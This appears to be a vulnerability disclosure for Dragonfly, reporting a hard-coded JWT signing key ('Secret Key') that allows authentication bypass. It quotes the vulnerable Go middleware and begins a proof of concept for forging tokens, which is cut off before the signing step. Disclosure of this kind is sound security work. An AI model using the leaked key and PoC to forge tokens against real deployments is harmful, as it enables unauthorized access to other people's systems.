Summary Hello dragonfly maintainer team, I would like to report a security issue concerning your JWT feature. Details Dragonfly uses JWT to verify user. However, the secret key for JWT, "Secret Key", is hard coded, which leads to authentication bypass “`go authMiddleware, err := jwt.New(&jwt.GinJWTMiddleware{ Realm: "Dragonfly", Key: []byte("Secret Key"), Timeout: 2 * 24 * time.Hour, MaxRefresh: 2 * 24 * time.Hour, IdentityKey: identityKey, IdentityHandler: func(c *gin.Context) any { claims := jwt.ExtractClaims(c) id, ok := claims[identityKey] if !ok { c.JSON(http.StatusUnauthorized, gin.H{ "message": "Unavailable token: require user id", }) c.Abort() return nil } c.Set("id", id) return id }) “` PoC Use code below to generate a jwt token “`go package main import ( "errors" "fmt" "time" "github.com/golang-jwt/jwt/v4" ) func (stc *DragonflyTokenClaims) Valid() error { // Verify expiry. if stc.ExpiresAt <= time.Now().UTC().Unix() { vErr := new(jwt.ValidationError) vErr.Inner = errors.New("Token is expired") vErr.Errors |= jwt.ValidationErrorExpired return vErr } return nil } type DragonflyTokenClaims struct { Id int32 json:"id,omitempty" ExpiresAt int64 json:"exp,omitempty" Issue int64 json:"orig_iat,omitempty"…Read More
References
Back to Main